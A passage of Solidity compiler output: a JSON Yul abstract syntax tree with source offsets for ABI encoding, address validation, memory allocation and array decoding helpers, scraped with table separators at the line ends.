"src": "15291:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15291:19:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15283:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value0", | |
"nodeType": "YulIdentifier", | |
"src": "15364:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15377:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "15388:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "15373:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15373:17:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_uint256_to_t_uint256_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "15320:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15320:71:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "15320:71:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value1", | |
"nodeType": "YulIdentifier", | |
"src": "15445:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15458:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "15469:2:1", | |
"type": "", | |
"value": "32" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "15454:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15454:18:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_address_to_t_address_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "15401:43:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15401:72:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "15401:72:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15494:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "15505:2:1", | |
"type": "", | |
"value": "64" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "15490:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15490:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15514:4:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15520:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "15510:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15510:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "15483:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15483:48:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "15483:48:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "15540:126:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value2", | |
"nodeType": "YulIdentifier", | |
"src": "15644:6:1" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulIdentifier", | |
"src": "15652:6:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15661:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_array$_t_uint256_$dyn_calldata_ptr_to_t_array$_t_uint256_$dyn_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "15548:95:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15548:118:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15540:4:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15687:9:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "15698:2:1", | |
"type": "", | |
"value": "96" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "15683:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15683:18:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15707:4:1" | |
}, | |
{ | |
"name": "headStart", | |
"nodeType": "YulIdentifier", | |
"src": "15713:9:1" | |
} | |
], | |
"functionName": { | |
"name": "sub", | |
"nodeType": "YulIdentifier", | |
"src": "15703:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15703:20:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "15676:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15676:48:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "15676:48:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "15733:114:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value4", | |
"nodeType": "YulIdentifier", | |
"src": "15833:6:1" | |
}, | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15842:4:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_encode_t_struct$_MyStruct_$8_calldata_ptr_to_t_struct$_MyStruct_$8_memory_ptr_fromStack", | |
"nodeType": "YulIdentifier", | |
"src": "15741:91:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15741:106:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulIdentifier", | |
"src": "15733:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "abi_encode_tuple_t_uint256_t_address_t_array$_t_uint256_$dyn_calldata_ptr_t_struct$_MyStruct_$8_calldata_ptr__to_t_uint256_t_address_t_array$_t_uint256_$dyn_memory_ptr_t_struct$_MyStruct_$8_memory_ptr__fromStack_reversed", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "headStart", | |
"nodeType": "YulTypedName", | |
"src": "15213:9:1", | |
"type": "" | |
}, | |
{ | |
"name": "value4", | |
"nodeType": "YulTypedName", | |
"src": "15225:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value3", | |
"nodeType": "YulTypedName", | |
"src": "15233:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value2", | |
"nodeType": "YulTypedName", | |
"src": "15241:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value1", | |
"nodeType": "YulTypedName", | |
"src": "15249:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "value0", | |
"nodeType": "YulTypedName", | |
"src": "15257:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "tail", | |
"nodeType": "YulTypedName", | |
"src": "15268:4:1", | |
"type": "" | |
} | |
], | |
"src": "14983:871:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "15913:51:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "15923:35:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "15952:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_uint160", | |
"nodeType": "YulIdentifier", | |
"src": "15934:17:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "15934:24:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulIdentifier", | |
"src": "15923:7:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "cleanup_t_address_payable", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "15895:5:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "cleaned", | |
"nodeType": "YulTypedName", | |
"src": "15905:7:1", | |
"type": "" | |
} | |
], | |
"src": "15860:104:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16021:87:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16086:16:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16095:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16098:1:1", | |
"type": "", | |
"value": "0" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "16088:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16088:12:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16088:12:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "16044:5:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "16077:5:1" | |
} | |
], | |
"functionName": { | |
"name": "cleanup_t_address_payable", | |
"nodeType": "YulIdentifier", | |
"src": "16051:25:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16051:32:1" | |
} | |
], | |
"functionName": { | |
"name": "eq", | |
"nodeType": "YulIdentifier", | |
"src": "16041:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16041:43:1" | |
} | |
], | |
"functionName": { | |
"name": "iszero", | |
"nodeType": "YulIdentifier", | |
"src": "16034:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16034:51:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "16031:71:1" | |
} | |
] | |
}, | |
"name": "validator_revert_t_address_payable", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "16014:5:1", | |
"type": "" | |
} | |
], | |
"src": "15970:138:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16174:95:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "16184:29:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "16206:6:1" | |
} | |
], | |
"functionName": { | |
"name": "calldataload", | |
"nodeType": "YulIdentifier", | |
"src": "16193:12:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16193:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "16184:5:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "value", | |
"nodeType": "YulIdentifier", | |
"src": "16257:5:1" | |
} | |
], | |
"functionName": { | |
"name": "validator_revert_t_address_payable", | |
"nodeType": "YulIdentifier", | |
"src": "16222:34:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16222:41:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16222:41:1" | |
} | |
] | |
}, | |
"name": "abi_decode_t_address_payable", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulTypedName", | |
"src": "16152:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulTypedName", | |
"src": "16160:3:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "value", | |
"nodeType": "YulTypedName", | |
"src": "16168:5:1", | |
"type": "" | |
} | |
], | |
"src": "16114:155:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16303:152:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16320:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16323:77:1", | |
"type": "", | |
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "16313:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16313:88:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16313:88:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16417:1:1", | |
"type": "", | |
"value": "4" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16420:4:1", | |
"type": "", | |
"value": "0x41" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "16410:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16410:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16410:15:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16441:1:1", | |
"type": "", | |
"value": "0" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16444:4:1", | |
"type": "", | |
"value": "0x24" | |
} | |
], | |
"functionName": { | |
"name": "revert", | |
"nodeType": "YulIdentifier", | |
"src": "16434:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16434:15:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16434:15:1" | |
} | |
] | |
}, | |
"name": "panic_error_0x41", | |
"nodeType": "YulFunctionDefinition", | |
"src": "16275:180:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16504:238:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "16514:58:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "16536:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "16566:4:1" | |
} | |
], | |
"functionName": { | |
"name": "round_up_to_mul_of_32", | |
"nodeType": "YulIdentifier", | |
"src": "16544:21:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16544:27:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "16532:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16532:40:1" | |
}, | |
"variables": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulTypedName", | |
"src": "16518:10:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16683:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "16685:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16685:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16685:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "16626:10:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16638:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "16623:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16623:34:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "16662:10:1" | |
}, | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "16674:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "16659:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16659:22:1" | |
} | |
], | |
"functionName": { | |
"name": "or", | |
"nodeType": "YulIdentifier", | |
"src": "16620:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16620:62:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "16617:88:1" | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "16721:2:1", | |
"type": "", | |
"value": "64" | |
}, | |
{ | |
"name": "newFreePtr", | |
"nodeType": "YulIdentifier", | |
"src": "16725:10:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "16714:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16714:22:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16714:22:1" | |
} | |
] | |
}, | |
"name": "finalize_allocation", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "16490:6:1", | |
"type": "" | |
}, | |
{ | |
"name": "size", | |
"nodeType": "YulTypedName", | |
"src": "16498:4:1", | |
"type": "" | |
} | |
], | |
"src": "16461:281:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16789:88:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "16799:30:1", | |
"value": { | |
"arguments": [], | |
"functionName": { | |
"name": "allocate_unbounded", | |
"nodeType": "YulIdentifier", | |
"src": "16809:18:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16809:20:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "16799:6:1" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulIdentifier", | |
"src": "16858:6:1" | |
}, | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "16866:4:1" | |
} | |
], | |
"functionName": { | |
"name": "finalize_allocation", | |
"nodeType": "YulIdentifier", | |
"src": "16838:19:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "16838:33:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "16838:33:1" | |
} | |
] | |
}, | |
"name": "allocate_memory", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "size", | |
"nodeType": "YulTypedName", | |
"src": "16773:4:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "memPtr", | |
"nodeType": "YulTypedName", | |
"src": "16782:6:1", | |
"type": "" | |
} | |
], | |
"src": "16748:129:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "16965:229:1", | |
"statements": [ | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "17070:22:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "panic_error_0x41", | |
"nodeType": "YulIdentifier", | |
"src": "17072:16:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17072:18:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "17072:18:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "17042:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17050:18:1", | |
"type": "", | |
"value": "0xffffffffffffffff" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "17039:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17039:30:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "17036:56:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17102:25:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "17114:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17122:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "17110:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17110:17:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "17102:4:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17164:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "17176:4:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17182:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "17172:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17172:15:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "size", | |
"nodeType": "YulIdentifier", | |
"src": "17164:4:1" | |
} | |
] | |
} | |
] | |
}, | |
"name": "array_allocation_size_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulFunctionDefinition", | |
"parameters": [ | |
{ | |
"name": "length", | |
"nodeType": "YulTypedName", | |
"src": "16949:6:1", | |
"type": "" | |
} | |
], | |
"returnVariables": [ | |
{ | |
"name": "size", | |
"nodeType": "YulTypedName", | |
"src": "16960:4:1", | |
"type": "" | |
} | |
], | |
"src": "16883:311:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "17319:608:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17329:90:1", | |
"value": { | |
"arguments": [ | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "17411:6:1" | |
} | |
], | |
"functionName": { | |
"name": "array_allocation_size_t_array$_t_uint256_$dyn_memory_ptr", | |
"nodeType": "YulIdentifier", | |
"src": "17354:56:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17354:64:1" | |
} | |
], | |
"functionName": { | |
"name": "allocate_memory", | |
"nodeType": "YulIdentifier", | |
"src": "17338:15:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17338:81:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "17329:5:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "17428:16:1", | |
"value": { | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "17439:5:1" | |
}, | |
"variables": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulTypedName", | |
"src": "17432:3:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "17461:5:1" | |
}, | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "17468:6:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "17454:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17454:21:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "17454:21:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17484:23:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "array", | |
"nodeType": "YulIdentifier", | |
"src": "17495:5:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17502:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "17491:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17491:16:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "17484:3:1" | |
} | |
] | |
}, | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "17517:44:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "offset", | |
"nodeType": "YulIdentifier", | |
"src": "17535:6:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "length", | |
"nodeType": "YulIdentifier", | |
"src": "17547:6:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17555:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "mul", | |
"nodeType": "YulIdentifier", | |
"src": "17543:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17543:17:1" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "17531:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17531:30:1" | |
}, | |
"variables": [ | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulTypedName", | |
"src": "17521:6:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "17589:103:1", | |
"statements": [ | |
{ | |
"expression": { | |
"arguments": [], | |
"functionName": { | |
"name": "revert_error_81385d8c0b31fffe14be1da910c8bd3a80be4cfa248e04f42ec0faea3132a8ef", | |
"nodeType": "YulIdentifier", | |
"src": "17603:77:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17603:79:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "17603:79:1" | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulIdentifier", | |
"src": "17576:6:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "17584:3:1" | |
} | |
], | |
"functionName": { | |
"name": "gt", | |
"nodeType": "YulIdentifier", | |
"src": "17573:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17573:15:1" | |
}, | |
"nodeType": "YulIf", | |
"src": "17570:122:1" | |
}, | |
{ | |
"body": { | |
"nodeType": "YulBlock", | |
"src": "17777:144:1", | |
"statements": [ | |
{ | |
"nodeType": "YulVariableDeclaration", | |
"src": "17792:21:1", | |
"value": { | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "17810:3:1" | |
}, | |
"variables": [ | |
{ | |
"name": "elementPos", | |
"nodeType": "YulTypedName", | |
"src": "17796:10:1", | |
"type": "" | |
} | |
] | |
}, | |
{ | |
"expression": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "17834:3:1" | |
}, | |
{ | |
"arguments": [ | |
{ | |
"name": "elementPos", | |
"nodeType": "YulIdentifier", | |
"src": "17860:10:1" | |
}, | |
{ | |
"name": "end", | |
"nodeType": "YulIdentifier", | |
"src": "17872:3:1" | |
} | |
], | |
"functionName": { | |
"name": "abi_decode_t_uint256", | |
"nodeType": "YulIdentifier", | |
"src": "17839:20:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17839:37:1" | |
} | |
], | |
"functionName": { | |
"name": "mstore", | |
"nodeType": "YulIdentifier", | |
"src": "17827:6:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17827:50:1" | |
}, | |
"nodeType": "YulExpressionStatement", | |
"src": "17827:50:1" | |
}, | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17890:21:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "17901:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17906:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "17897:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17897:14:1" | |
}, | |
"variableNames": [ | |
{ | |
"name": "dst", | |
"nodeType": "YulIdentifier", | |
"src": "17890:3:1" | |
} | |
] | |
} | |
] | |
}, | |
"condition": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "17730:3:1" | |
}, | |
{ | |
"name": "srcEnd", | |
"nodeType": "YulIdentifier", | |
"src": "17735:6:1" | |
} | |
], | |
"functionName": { | |
"name": "lt", | |
"nodeType": "YulIdentifier", | |
"src": "17727:2:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
"src": "17727:15:1" | |
}, | |
"nodeType": "YulForLoop", | |
"post": { | |
"nodeType": "YulBlock", | |
"src": "17743:25:1", | |
"statements": [ | |
{ | |
"nodeType": "YulAssignment", | |
"src": "17745:21:1", | |
"value": { | |
"arguments": [ | |
{ | |
"name": "src", | |
"nodeType": "YulIdentifier", | |
"src": "17756:3:1" | |
}, | |
{ | |
"kind": "number", | |
"nodeType": "YulLiteral", | |
"src": "17761:4:1", | |
"type": "", | |
"value": "0x20" | |
} | |
], | |
"functionName": { | |
"name": "add", | |
"nodeType": "YulIdentifier", | |
"src": "17752:3:1" | |
}, | |
"nodeType": "YulFunctionCall", | |
